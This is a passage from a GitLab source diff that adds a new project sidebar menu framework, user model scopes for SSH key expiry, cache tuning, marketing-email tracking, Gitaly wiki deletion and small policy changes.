+ def search_files_by_wildcard_path(path, ref = 'HEAD')
+ # We need to use RE2 to match Gitaly's regexp engine
+ regexp_string = RE2::Regexp.escape(path).gsub('\*', '.*?')
+ raw_repository.search_files_by_regexp("^#{regexp_string}$", ref)
+ end
+
def copy_gitattributes(ref)
actual_ref = ref || root_ref
begin
diff --git a/app/models/sent_notification.rb b/app/models/sent_notification.rb
index 4165d3b753f..5d7b3879d75 100644
--- a/app/models/sent_notification.rb
+++ b/app/models/sent_notification.rb
@@ -48,7 +48,7 @@ class SentNotification < ApplicationRecord
end
def record_note(note, recipient_id, reply_key = self.reply_key, attrs = {})
- attrs[:in_reply_to_discussion_id] = note.discussion_id if note.part_of_discussion?
+ attrs[:in_reply_to_discussion_id] = note.discussion_id if note.part_of_discussion? || note.can_be_discussion_note?
record(note.noteable, recipient_id, reply_key, attrs)
end
diff --git a/app/models/service.rb b/app/models/service.rb
index c49e0869b21..aadc75ae710 100644
--- a/app/models/service.rb
+++ b/app/models/service.rb
@@ -11,14 +11,14 @@ class Service < ApplicationRecord
include EachBatch
SERVICE_NAMES = %w[
- asana assembla bamboo bugzilla buildkite campfire confluence custom_issue_tracker datadog discord
- drone_ci emails_on_push ewm external_wiki flowdock hangouts_chat hipchat irker jira
+ asana assembla bamboo bugzilla buildkite campfire confluence custom_issue_tracker discord
+ drone_ci emails_on_push ewm external_wiki flowdock hangouts_chat irker jira
mattermost mattermost_slash_commands microsoft_teams packagist pipelines_email
pivotaltracker prometheus pushover redmine slack slack_slash_commands teamcity unify_circuit webex_teams youtrack
].freeze
PROJECT_SPECIFIC_SERVICE_NAMES = %w[
- jenkins
+ datadog jenkins
].freeze
# Fake services to help with local development.
@@ -413,6 +413,10 @@ class Service < ApplicationRecord
!instance? && !group_id
end
+ def project_level?
+ project_id.present?
+ end
+
def parent
project || group
end
@@ -456,7 +460,7 @@ class Service < ApplicationRecord
errors.add(:project_id, 'The service cannot belong to both a project and a group') if project_id && group_id
end
- def valid_recipients?
+ def validate_recipients?
activated? && !importing?
end
end
diff --git a/app/models/sidebars/context.rb b/app/models/sidebars/context.rb
new file mode 100644
index 00000000000..d9ac2705aaf
--- /dev/null
+++ b/app/models/sidebars/context.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+# This class stores all the information needed to display and
+# render the sidebar and menus.
+# It usually stores information regarding the context and calculated
+# values where the logic is in helpers.
+module Sidebars
+ class Context
+ attr_reader :current_user, :container
+
+ def initialize(current_user:, container:, **args)
+ @current_user = current_user
+ @container = container
+
+ args.each do |key, value|
+ singleton_class.public_send(:attr_reader, key) # rubocop:disable GitlabSecurity/PublicSend
+ instance_variable_set("@#{key}", value)
+ end
+ end
+ end
+end
diff --git a/app/models/sidebars/menu.rb b/app/models/sidebars/menu.rb
new file mode 100644
index 00000000000..a5c8be2bb31
--- /dev/null
+++ b/app/models/sidebars/menu.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+module Sidebars
+ class Menu
+ extend ::Gitlab::Utils::Override
+ include ::Gitlab::Routing
+ include GitlabRoutingHelper
+ include Gitlab::Allowable
+ include ::Sidebars::HasPill
+ include ::Sidebars::HasIcon
+ include ::Sidebars::PositionableList
+ include ::Sidebars::Renderable
+ include ::Sidebars::ContainerWithHtmlOptions
+ include ::Sidebars::HasActiveRoutes
+
+ attr_reader :context
+ delegate :current_user, :container, to: :@context
+
+ def initialize(context)
+ @context = context
+ @items = []
+
+ configure_menu_items
+ end
+
+ def configure_menu_items
+ # No-op
+ end
+
+ override :render?
+ def render?
+ @items.empty? || renderable_items.any?
+ end
+
+ # Menus might have or not a link
+ override :link
+ def link
+ nil
+ end
+
+ # This method normalizes the information retrieved from the submenus and this menu
+ # Value from menus is something like: [{ path: 'foo', path: 'bar', controller: :foo }]
+ # This method filters the information and returns: { path: ['foo', 'bar'], controller: :foo }
+ def all_active_routes
+ @all_active_routes ||= begin
+ ([active_routes] + renderable_items.map(&:active_routes)).flatten.each_with_object({}) do |pairs, hash|
+ pairs.each do |k, v|
+ hash[k] ||= []
+ hash[k] += Array(v)
+ hash[k].uniq!
+ end
+
+ hash
+ end
+ end
+ end
+
+ def has_items?
+ @items.any?
+ end
+
+ def add_item(item)
+ add_element(@items, item)
+ end
+
+ def insert_item_before(before_item, new_item)
+ insert_element_before(@items, before_item, new_item)
+ end
+
+ def insert_item_after(after_item, new_item)
+ insert_element_after(@items, after_item, new_item)
+ end
+
+ def has_renderable_items?
+ renderable_items.any?
+ end
+
+ def renderable_items
+ @renderable_items ||= @items.select(&:render?)
+ end
+ end
+end
diff --git a/app/models/sidebars/menu_item.rb b/app/models/sidebars/menu_item.rb
new file mode 100644
index 00000000000..7466b31898e
--- /dev/null
+++ b/app/models/sidebars/menu_item.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Sidebars
+ class MenuItem
+ extend ::Gitlab::Utils::Override
+ include ::Gitlab::Routing
+ include GitlabRoutingHelper
+ include Gitlab::Allowable
+ include ::Sidebars::HasIcon
+ include ::Sidebars::HasHint
+ include ::Sidebars::Renderable
+ include ::Sidebars::ContainerWithHtmlOptions
+ include ::Sidebars::HasActiveRoutes
+
+ attr_reader :context
+
+ def initialize(context)
+ @context = context
+ end
+ end
+end
diff --git a/app/models/sidebars/panel.rb b/app/models/sidebars/panel.rb
new file mode 100644
index 00000000000..5c8191ebda3
--- /dev/null
+++ b/app/models/sidebars/panel.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+module Sidebars
+ class Panel
+ extend ::Gitlab::Utils::Override
+ include ::Sidebars::PositionableList
+
+ attr_reader :context, :scope_menu, :hidden_menu
+
+ def initialize(context)
+ @context = context
+ @scope_menu = nil
+ @hidden_menu = nil
+ @menus = []
+
+ configure_menus
+ end
+
+ def configure_menus
+ # No-op
+ end
+
+ def add_menu(menu)
+ add_element(@menus, menu)
+ end
+
+ def insert_menu_before(before_menu, new_menu)
+ insert_element_before(@menus, before_menu, new_menu)
+ end
+
+ def insert_menu_after(after_menu, new_menu)
+ insert_element_after(@menus, after_menu, new_menu)
+ end
+
+ def set_scope_menu(scope_menu)
+ @scope_menu = scope_menu
+ end
+
+ def set_hidden_menu(hidden_menu)
+ @hidden_menu = hidden_menu
+ end
+
+ def aria_label
+ raise NotImplementedError
+ end
+
+ def has_renderable_menus?
+ renderable_menus.any?
+ end
+
+ def renderable_menus
+ @renderable_menus ||= @menus.select(&:render?)
+ end
+
+ def container
+ context.container
+ end
+
+ # Auxiliar method that helps with the migration from
+ # regular views to the new logic
+ def render_raw_scope_menu_partial
+ # No-op
+ end
+
+ # Auxiliar method that helps with the migration from
+ # regular views to the new logic.
+ #
+ # Any menu inside this partial will be added after
+ # all the menus added in the `configure_menus`
+ # method.
+ def render_raw_menus_partial
+ # No-op
+ end
+ end
+end
diff --git a/app/models/sidebars/projects/context.rb b/app/models/sidebars/projects/context.rb
new file mode 100644
index 00000000000..4c82309035d
--- /dev/null
+++ b/app/models/sidebars/projects/context.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Projects
+ class Context < ::Sidebars::Context
+ def initialize(current_user:, container:, **args)
+ super(current_user: current_user, container: container, project: container, **args)
+ end
+ end
+ end
+end
diff --git a/app/models/sidebars/projects/menus/learn_gitlab/menu.rb b/app/models/sidebars/projects/menus/learn_gitlab/menu.rb
new file mode 100644
index 00000000000..4b572846d1a
--- /dev/null
+++ b/app/models/sidebars/projects/menus/learn_gitlab/menu.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Projects
+ module Menus
+ module LearnGitlab
+ class Menu < ::Sidebars::Menu
+ override :link
+ def link
+ project_learn_gitlab_path(context.project)
+ end
+
+ override :active_routes
+ def active_routes
+ { controller: :learn_gitlab }
+ end
+
+ override :title
+ def title
+ _('Learn GitLab')
+ end
+
+ override :extra_container_html_options
+ def nav_link_html_options
+ { class: 'home' }
+ end
+
+ override :sprite_icon
+ def sprite_icon
+ 'home'
+ end
+
+ override :render?
+ def render?
+ context.learn_gitlab_experiment_enabled
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/sidebars/projects/menus/project_overview/menu.rb b/app/models/sidebars/projects/menus/project_overview/menu.rb
new file mode 100644
index 00000000000..e6aa8ed159f
--- /dev/null
+++ b/app/models/sidebars/projects/menus/project_overview/menu.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Projects
+ module Menus
+ module ProjectOverview
+ class Menu < ::Sidebars::Menu
+ override :configure_menu_items
+ def configure_menu_items
+ add_item(MenuItems::Details.new(context))
+ add_item(MenuItems::Activity.new(context))
+ add_item(MenuItems::Releases.new(context))
+ end
+
+ override :link
+ def link
+ project_path(context.project)
+ end
+
+ override :extra_container_html_options
+ def extra_container_html_options
+ {
+ class: 'shortcuts-project rspec-project-link'
+ }
+ end
+
+ override :extra_container_html_options
+ def nav_link_html_options
+ { class: 'home' }
+ end
+
+ override :title
+ def title
+ _('Project overview')
+ end
+
+ override :sprite_icon
+ def sprite_icon
+ 'home'
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/sidebars/projects/menus/project_overview/menu_items/activity.rb b/app/models/sidebars/projects/menus/project_overview/menu_items/activity.rb
new file mode 100644
index 00000000000..46d0f0bc43b
--- /dev/null
+++ b/app/models/sidebars/projects/menus/project_overview/menu_items/activity.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Projects
+ module Menus
+ module ProjectOverview
+ module MenuItems
+ class Activity < ::Sidebars::MenuItem
+ override :link
+ def link
+ activity_project_path(context.project)
+ end
+
+ override :extra_container_html_options
+ def extra_container_html_options
+ {
+ class: 'shortcuts-project-activity'
+ }
+ end
+
+ override :active_routes
+ def active_routes
+ { path: 'projects#activity' }
+ end
+
+ override :title
+ def title
+ _('Activity')
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/sidebars/projects/menus/project_overview/menu_items/details.rb b/app/models/sidebars/projects/menus/project_overview/menu_items/details.rb
new file mode 100644
index 00000000000..c8cf5d503ab
--- /dev/null
+++ b/app/models/sidebars/projects/menus/project_overview/menu_items/details.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Projects
+ module Menus
+ module ProjectOverview
+ module MenuItems
+ class Details < ::Sidebars::MenuItem
+ override :link
+ def link
+ project_path(context.project)
+ end
+
+ override :extra_container_html_options
+ def extra_container_html_options
+ {
+ title: _('Project details'),
+ class: 'shortcuts-project'
+ }
+ end
+
+ override :active_routes
+ def active_routes
+ { path: 'projects#show' }
+ end
+
+ override :title
+ def title
+ _('Details')
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/sidebars/projects/menus/project_overview/menu_items/releases.rb b/app/models/sidebars/projects/menus/project_overview/menu_items/releases.rb
new file mode 100644
index 00000000000..5e8348f4398
--- /dev/null
+++ b/app/models/sidebars/projects/menus/project_overview/menu_items/releases.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Projects
+ module Menus
+ module ProjectOverview
+ module MenuItems
+ class Releases < ::Sidebars::MenuItem
+ override :link
+ def link
+ project_releases_path(context.project)
+ end
+
+ override :extra_container_html_options
+ def extra_container_html_options
+ {
+ class: 'shortcuts-project-releases'
+ }
+ end
+
+ override :render?
+ def render?
+ can?(context.current_user, :read_release, context.project) && !context.project.empty_repo?
+ end
+
+ override :active_routes
+ def active_routes
+ { controller: :releases }
+ end
+
+ override :title
+ def title
+ _('Releases')
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/sidebars/projects/menus/scope/menu.rb b/app/models/sidebars/projects/menus/scope/menu.rb
new file mode 100644
index 00000000000..3b699083f75
--- /dev/null
+++ b/app/models/sidebars/projects/menus/scope/menu.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Projects
+ module Menus
+ module Scope
+ class Menu < ::Sidebars::Menu
+ override :link
+ def link
+ project_path(context.project)
+ end
+
+ override :title
+ def title
+ context.project.name
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/sidebars/projects/panel.rb b/app/models/sidebars/projects/panel.rb
new file mode 100644
index 00000000000..60cb804f5e8
--- /dev/null
+++ b/app/models/sidebars/projects/panel.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Projects
+ class Panel < ::Sidebars::Panel
+ override :configure_menus
+ def configure_menus
+ set_scope_menu(Sidebars::Projects::Menus::Scope::Menu.new(context))
+
+ add_menu(Sidebars::Projects::Menus::ProjectOverview::Menu.new(context))
+ add_menu(Sidebars::Projects::Menus::LearnGitlab::Menu.new(context))
+ end
+
+ override :render_raw_menus_partial
+ def render_raw_menus_partial
+ 'layouts/nav/sidebar/project_menus'
+ end
+
+ override :aria_label
+ def aria_label
+ _('Project navigation')
+ end
+ end
+ end
+end
diff --git a/app/models/timelog.rb b/app/models/timelog.rb
index f4debedb656..c1aa84cbbcd 100644
--- a/app/models/timelog.rb
+++ b/app/models/timelog.rb
@@ -31,9 +31,9 @@ class Timelog < ApplicationRecord
def issuable_id_is_present
if issue_id && merge_request_id
- errors.add(:base, _('Only Issue ID or Merge Request ID is required'))
+ errors.add(:base, _('Only Issue ID or merge request ID is required'))
elsif issuable.nil?
- errors.add(:base, _('Issue or Merge Request ID is required'))
+ errors.add(:base, _('Issue or merge request ID is required'))
end
end
diff --git a/app/models/todo.rb b/app/models/todo.rb
index 176d5e56fc0..c8138587d83 100644
--- a/app/models/todo.rb
+++ b/app/models/todo.rb
@@ -148,6 +148,24 @@ class Todo < ApplicationRecord
.order(Gitlab::Database.nulls_last_order('highest_priority', 'ASC'))
.order('todos.created_at')
end
+
+ def pluck_user_id
+ pluck(:user_id)
+ end
+
+ # Count todos grouped by user_id and state, using an UNION query
+ # so we can utilize the partial indexes for each state.
+ def count_grouped_by_user_id_and_state
+ grouped_count = select(:user_id, 'count(id) AS count').group(:user_id)
+
+ done = grouped_count.where(state: :done).select("'done' AS state")
+ pending = grouped_count.where(state: :pending).select("'pending' AS state")
+ union = unscoped.from_union([done, pending], remove_duplicates: false)
+
+ connection.select_all(union).each_with_object({}) do |row, counts|
+ counts[[row['user_id'], row['state']]] = row['count']
+ end
+ end
end
def resource_parent
diff --git a/app/models/user.rb b/app/models/user.rb
index 11046bdabe4..507e8cc2cf5 100644
--- a/app/models/user.rb
+++ b/app/models/user.rb
@@ -103,6 +103,8 @@ class User < ApplicationRecord
# Profile
has_many :keys, -> { regular_keys }, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
+ has_many :expired_today_and_unnotified_keys, -> { expired_today_and_not_notified }, class_name: 'Key'
+ has_many :expiring_soon_and_unnotified_keys, -> { expiring_soon_and_not_notified }, class_name: 'Key'
has_many :deploy_keys, -> { where(type: 'DeployKey') }, dependent: :nullify # rubocop:disable Cop/ActiveRecordDependent
has_many :group_deploy_keys
has_many :gpg_keys
@@ -125,7 +127,7 @@ class User < ApplicationRecord
# Groups
has_many :members
- has_many :group_members, -> { where(requested_at: nil).where("access_level >= ?", Gitlab::Access::GUEST) }, source: 'GroupMember'
+ has_many :group_members, -> { where(requested_at: nil).where("access_level >= ?", Gitlab::Access::GUEST) }, class_name: 'GroupMember'
has_many :groups, through: :group_members
has_many :owned_groups, -> { where(members: { access_level: Gitlab::Access::OWNER }) }, through: :group_members, source: :group
has_many :maintainers_groups, -> { where(members: { access_level: Gitlab::Access::MAINTAINER }) }, through: :group_members, source: :group
@@ -139,7 +141,7 @@ class User < ApplicationRecord
-> { where(members: { access_level: [Gitlab::Access::REPORTER, Gitlab::Access::DEVELOPER, Gitlab::Access::MAINTAINER, Gitlab::Access::OWNER] }) },
through: :group_members,
source: :group
- has_many :minimal_access_group_members, -> { where(access_level: [Gitlab::Access::MINIMAL_ACCESS]) }, source: 'GroupMember', class_name: 'GroupMember'
+ has_many :minimal_access_group_members, -> { where(access_level: [Gitlab::Access::MINIMAL_ACCESS]) }, class_name: 'GroupMember'
has_many :minimal_access_groups, through: :minimal_access_group_members, source: :group
# Projects
@@ -199,6 +201,8 @@ class User < ApplicationRecord
has_many :reviews, foreign_key: :author_id, inverse_of: :author
+ has_many :in_product_marketing_emails, class_name: '::Users::InProductMarketingEmail'
+
#
# Validations
#
@@ -350,7 +354,8 @@ class User < ApplicationRecord
# this state transition object in order to do a rollback.
# For this reason the tradeoff is to disable this cop.
after_transition any => :blocked do |user|
- Ci::CancelUserPipelinesService.new.execute(user)
+ Ci::DropPipelineService.new.execute_async_for_all(user.pipelines, :user_blocked, user)
+ Ci::DisableUserPipelineSchedulesService.new.execute(user)
end
# rubocop: enable CodeReuse/ServiceClass
end
@@ -390,6 +395,22 @@ class User < ApplicationRecord
.without_impersonation
.expired_today_and_not_notified)
end
+ scope :with_ssh_key_expired_today, -> do
+ includes(:expired_today_and_unnotified_keys)
+ .where('EXISTS (?)',
+ ::Key
+ .select(1)
+ .where('keys.user_id = users.id')
+ .expired_today_and_not_notified)
+ end
+ scope :with_ssh_key_expiring_soon, -> do
+ includes(:expiring_soon_and_unnotified_keys)
+ .where('EXISTS (?)',
+ ::Key
+ .select(1)
+ .where('keys.user_id = users.id')
+ .expiring_soon_and_not_notified)
+ end
scope :order_recent_sign_in, -> { reorder(Gitlab::Database.nulls_last_order('current_sign_in_at', 'DESC')) }
scope :order_oldest_sign_in, -> { reorder(Gitlab::Database.nulls_last_order('current_sign_in_at', 'ASC')) }
scope :order_recent_last_activity, -> { reorder(Gitlab::Database.nulls_last_order('last_activity_on', 'DESC')) }
@@ -743,6 +764,7 @@ class User < ApplicationRecord
u.bio = 'The GitLab support bot used for Service Desk'
u.name = 'GitLab Support Bot'
u.avatar = bot_avatar(image: 'support-bot.png')
+ u.confirmed_at = Time.zone.now
end
end
@@ -1024,7 +1046,7 @@ class User < ApplicationRecord
[
Project.where(namespace: namespace),
Project.joins(:project_authorizations)
- .where("projects.namespace_id <> ?", namespace.id)
+ .where.not('projects.namespace_id' => namespace.id)
.where(project_authorizations: { user_id: id, access_level: Gitlab::Access::OWNER })
],
remove_duplicates: false
@@ -1337,9 +1359,11 @@ class User < ApplicationRecord
end
def public_verified_emails
- emails = verified_emails(include_private_email: false)
- emails << email unless temp_oauth_email?
- emails.uniq
+ strong_memoize(:public_verified_emails) do
+ emails = verified_emails(include_private_email: false)
+ emails << email unless temp_oauth_email?
+ emails.uniq
+ end
end
def any_email?(check_email)
@@ -1595,32 +1619,40 @@ class User < ApplicationRecord
@global_notification_setting
end
+ def count_cache_validity_period
+ if Feature.enabled?(:longer_count_cache_validity, self, default_enabled: :yaml)
+ 24.hours
+ else
+ 20.minutes
+ end
+ end
+
def assigned_open_merge_requests_count(force: false)
- Rails.cache.fetch(['users', id, 'assigned_open_merge_requests_count'], force: force, expires_in: 20.minutes) do
+ Rails.cache.fetch(['users', id, 'assigned_open_merge_requests_count'], force: force, expires_in: count_cache_validity_period) do
MergeRequestsFinder.new(self, assignee_id: self.id, state: 'opened', non_archived: true).execute.count
end
end
def review_requested_open_merge_requests_count(force: false)
- Rails.cache.fetch(['users', id, 'review_requested_open_merge_requests_count'], force: force, expires_in: 20.minutes) do
+ Rails.cache.fetch(['users', id, 'review_requested_open_merge_requests_count'], force: force, expires_in: count_cache_validity_period) do
MergeRequestsFinder.new(self, reviewer_id: id, state: 'opened', non_archived: true).execute.count
end
end
def assigned_open_issues_count(force: false)
- Rails.cache.fetch(['users', id, 'assigned_open_issues_count'], force: force, expires_in: 20.minutes) do
+ Rails.cache.fetch(['users', id, 'assigned_open_issues_count'], force: force, expires_in: count_cache_validity_period) do
IssuesFinder.new(self, assignee_id: self.id, state: 'opened', non_archived: true).execute.count
end
end
def todos_done_count(force: false)
- Rails.cache.fetch(['users', id, 'todos_done_count'], force: force, expires_in: 20.minutes) do
+ Rails.cache.fetch(['users', id, 'todos_done_count'], force: force, expires_in: count_cache_validity_period) do
TodosFinder.new(self, state: :done).execute.count
end
end
def todos_pending_count(force: false)
- Rails.cache.fetch(['users', id, 'todos_pending_count'], force: force, expires_in: 20.minutes) do
+ Rails.cache.fetch(['users', id, 'todos_pending_count'], force: force, expires_in: count_cache_validity_period) do
TodosFinder.new(self, state: :pending).execute.count
end
end
@@ -1639,8 +1671,7 @@ class User < ApplicationRecord
def invalidate_cache_counts
invalidate_issue_cache_counts
invalidate_merge_request_cache_counts
- invalidate_todos_done_count
- invalidate_todos_pending_count
+ invalidate_todos_cache_counts
invalidate_personal_projects_count
end
@@ -1653,11 +1684,8 @@ class User < ApplicationRecord
Rails.cache.delete(['users', id, 'review_requested_open_merge_requests_count'])
end
- def invalidate_todos_done_count
+ def invalidate_todos_cache_counts
Rails.cache.delete(['users', id, 'todos_done_count'])
- end
-
- def invalidate_todos_pending_count
Rails.cache.delete(['users', id, 'todos_pending_count'])
end
@@ -1835,10 +1863,12 @@ class User < ApplicationRecord
end
def dismissed_callout?(feature_name:, ignore_dismissal_earlier_than: nil)
- callouts = self.callouts.with_feature_name(feature_name)
- callouts = callouts.with_dismissed_after(ignore_dismissal_earlier_than) if ignore_dismissal_earlier_than
+ callout = callouts_by_feature_name[feature_name]
+
+ return false unless callout
+ return callout.dismissed_after?(ignore_dismissal_earlier_than) if ignore_dismissal_earlier_than
- callouts.any?
+ true
end
# Load the current highest access by looking directly at the user's memberships
@@ -1901,6 +1931,10 @@ class User < ApplicationRecord
private
+ def callouts_by_feature_name
+ @callouts_by_feature_name ||= callouts.index_by(&:feature_name)
+ end
+
def authorized_groups_without_shared_membership
Group.from_union([
groups,
diff --git a/app/models/user_callout.rb b/app/models/user_callout.rb
index bb5a9dceaeb..0a4db707be6 100644
--- a/app/models/user_callout.rb
+++ b/app/models/user_callout.rb
@@ -17,7 +17,7 @@ class UserCallout < ApplicationRecord
threat_monitoring_info: 11, # EE-only
account_recovery_regular_check: 12, # EE-only
webhooks_moved: 13,
- service_templates_deprecated: 14,
+ service_templates_deprecated_callout: 14,
admin_integrations_moved: 15,
web_ide_alert_dismissed: 16, # no longer in use
active_user_count_threshold: 18, # EE-only
@@ -29,7 +29,8 @@ class UserCallout < ApplicationRecord
registration_enabled_callout: 25,
new_user_signups_cap_reached: 26, # EE-only
unfinished_tag_cleanup_callout: 27,
- eoa_bronze_plan_banner: 28 # EE-only
+ eoa_bronze_plan_banner: 28, # EE-only
+ pipeline_needs_banner: 29
}
validates :user, presence: true
@@ -38,6 +39,7 @@ class UserCallout < ApplicationRecord
uniqueness: { scope: :user_id },
inclusion: { in: UserCallout.feature_names.keys }
- scope :with_feature_name, -> (feature_name) { where(feature_name: UserCallout.feature_names[feature_name]) }
- scope :with_dismissed_after, -> (dismissed_after) { where('dismissed_at > ?', dismissed_after) }
+ def dismissed_after?(dismissed_after)
+ dismissed_at > dismissed_after
+ end
end
diff --git a/app/models/user_detail.rb b/app/models/user_detail.rb
index ef799b01452..6b64f583927 100644
--- a/app/models/user_detail.rb
+++ b/app/models/user_detail.rb
@@ -19,7 +19,7 @@ class UserDetail < ApplicationRecord
# For backward compatibility.
# Older migrations (and their tests) reference the `User.migration_bot` where the `bio` attribute is set.
- # Here we disable writing the markdown cache when the `bio_html` column does not exists.
+ # Here we disable writing the markdown cache when the `bio_html` column does not exist.
override :invalidated_markdown_cache?
def invalidated_markdown_cache?
self.class.column_names.include?('bio_html') && super
diff --git a/app/models/users/in_product_marketing_email.rb b/app/models/users/in_product_marketing_email.rb
new file mode 100644
index 00000000000..195cfe162ac
--- /dev/null
+++ b/app/models/users/in_product_marketing_email.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module Users
+ class InProductMarketingEmail < ApplicationRecord
+ include BulkInsertSafe
+
+ belongs_to :user
+
+ validates :user, presence: true
+ validates :track, presence: true
+ validates :series, presence: true
+ validates :user_id, uniqueness: {
+ scope: [:track, :series],
+ message: 'has already been sent'
+ }
+
+ enum track: {
+ create: 0,
+ verify: 1,
+ trial: 2,
+ team: 3
+ }, _suffix: true
+
+ scope :without_track_and_series, -> (track, series) do
+ users = User.arel_table
+ product_emails = arel_table
+
+ join_condition = users[:id].eq(product_emails[:user_id])
+ .and(product_emails[:track]).eq(tracks[track])
+ .and(product_emails[:series]).eq(series)
+
+ arel_join = users.join(product_emails, Arel::Nodes::OuterJoin).on(join_condition)
+
+ joins(arel_join.join_sources)
+ .where(in_product_marketing_emails: { id: nil })
+ .select(Arel.sql("DISTINCT ON(#{users.table_name}.id) #{users.table_name}.*"))
+ end
+
+ scope :for_user_with_track_and_series, -> (user, track, series) do
+ where(user: user, track: track, series: series)
+ end
+
+ def self.save_cta_click(user, track, series)
+ email = for_user_with_track_and_series(user, track, series).take
+
+ email.update(cta_clicked_at: Time.zone.now) if email && email.cta_clicked_at.blank?
+ end
+ end
+end
diff --git a/app/models/users/merge_request_interaction.rb b/app/models/users/merge_request_interaction.rb
new file mode 100644
index 00000000000..35d1d3206b5
--- /dev/null
+++ b/app/models/users/merge_request_interaction.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Users
+ class MergeRequestInteraction
+ def initialize(user:, merge_request:)
+ @user = user
+ @merge_request = merge_request
+ end
+
+ def declarative_policy_subject
+ merge_request
+ end
+
+ def can_merge?
+ merge_request.can_be_merged_by?(user)
+ end
+
+ def can_update?
+ user.can?(:update_merge_request, merge_request)
+ end
+
+ def review_state
+ reviewer&.state
+ end
+
+ def reviewed?
+ reviewer&.reviewed? == true
+ end
+
+ def approved?
+ merge_request.approvals.any? { |app| app.user_id == user.id }
+ end
+
+ private
+
+ def reviewer
+ @reviewer ||= merge_request.merge_request_reviewers.find { |r| r.user_id == user.id }
+ end
+
+ attr_reader :user, :merge_request
+ end
+end
+
+::Users::MergeRequestInteraction.prepend_if_ee('EE::Users::MergeRequestInteraction')
diff --git a/app/models/wiki.rb b/app/models/wiki.rb
index df31c54bd0f..47fe40b0e57 100644
--- a/app/models/wiki.rb
+++ b/app/models/wiki.rb
@@ -160,16 +160,12 @@ class Wiki
end
def find_file(name, version = 'HEAD', load_content: true)
- if Feature.enabled?(:gitaly_find_file, user, default_enabled: :yaml)
- data_limit = load_content ? -1 : 0
- blobs = repository.blobs_at([[version, name]], blob_size_limit: data_limit)
+ data_limit = load_content ? -1 : 0
+ blobs = repository.blobs_at([[version, name]], blob_size_limit: data_limit)
- return if blobs.empty?
+ return if blobs.empty?
- Gitlab::Git::WikiFile.from_blob(blobs.first)
- else
- wiki.file(name, version)
- end
+ Gitlab::Git::WikiFile.new(blobs.first)
end
def create_page(title, content, format = :markdown, message = nil)
@@ -196,10 +192,20 @@ class Wiki
def delete_page(page, message = nil)
return unless page
- wiki.delete_page(page.path, commit_details(:deleted, message, page.title))
- after_wiki_activity
+ if Feature.enabled?(:gitaly_replace_wiki_delete_page, user, default_enabled: :yaml)
+ capture_git_error(:deleted) do
+ repository.delete_file(user, page.path, **multi_commit_options(:deleted, message, page.title))
- true
+ after_wiki_activity
+
+ true
+ end
+ else
+ wiki.delete_page(page.path, commit_details(:deleted, message, page.title))
+ after_wiki_activity
+
+ true
+ end
end
def page_title_and_dir(title)
@@ -276,8 +282,20 @@ class Wiki
private
+ def multi_commit_options(action, message = nil, title = nil)
+ commit_message = build_commit_message(action, message, title)
+ git_user = Gitlab::Git::User.from_gitlab(user)
+
+ {
+ branch_name: repository.root_ref,
+ message: commit_message,
+ author_email: git_user.email,
+ author_name: git_user.name
+ }
+ end
+
def commit_details(action, message = nil, title = nil)
- commit_message = message.presence || default_message(action, title)
+ commit_message = build_commit_message(action, message, title)
git_user = Gitlab::Git::User.from_gitlab(user)
Gitlab::Git::Wiki::CommitDetails.new(user.id,
@@ -287,9 +305,26 @@ class Wiki
commit_message)
end
+ def build_commit_message(action, message, title)
+ message.presence || default_message(action, title)
+ end
+
def default_message(action, title)
"#{user.username} #{action} page: #{title}"
end
+
+ def capture_git_error(action, &block)
+ yield block
+ rescue Gitlab::Git::Index::IndexError,
+ Gitlab::Git::CommitError,
+ Gitlab::Git::PreReceiveError,
+ Gitlab::Git::CommandError,
+ ArgumentError => error
+
+ Gitlab::ErrorTracking.log_exception(error, action: action, wiki_id: id)
+
+ false
+ end
end
Wiki.prepend_if_ee('EE::Wiki')
diff --git a/app/policies/base_policy.rb b/app/policies/base_policy.rb
index e32a889c906..1c19751cf0d 100644
--- a/app/policies/base_policy.rb
+++ b/app/policies/base_policy.rb
@@ -6,7 +6,7 @@ class BasePolicy < DeclarativePolicy::Base
desc "User is an instance admin"
with_options scope: :user, score: 0
condition(:admin) do
- if Feature.enabled?(:user_mode_in_session)
+ if Gitlab::CurrentSettings.admin_mode
Gitlab::Auth::CurrentUserMode.new(@user).admin_mode?
else
@user&.admin?
diff --git a/app/policies/group_member_policy.rb b/app/policies/group_member_policy.rb
index 1dd650c8a90..8a4cae232a0 100644
--- a/app/policies/group_member_policy.rb
+++ b/app/policies/group_member_policy.rb
@@ -4,7 +4,7 @@ class GroupMemberPolicy < BasePolicy
delegate :group
with_scope :subject
- condition(:last_owner) { @subject.group.last_owner?(@subject.user) || @subject.group.last_blocked_owner?(@subject.user) }
+ condition(:last_owner) { @subject.group.member_last_owner?(@subject) || @subject.group.member_last_blocked_owner?(@subject) }
desc "Membership is users' own"
with_score 0
diff --git a/app/policies/group_policy.rb b/app/policies/group_policy.rb
index 53286cf1fdf..fc24525ade7 100644
--- a/app/policies/group_policy.rb
+++ b/app/policies/group_policy.rb
@@ -61,7 +61,8 @@ class GroupPolicy < BasePolicy
end
with_scope :subject
- condition(:resource_access_token_available) { resource_access_token_available? }
+ condition(:resource_access_token_feature_available) { resource_access_token_feature_available? }
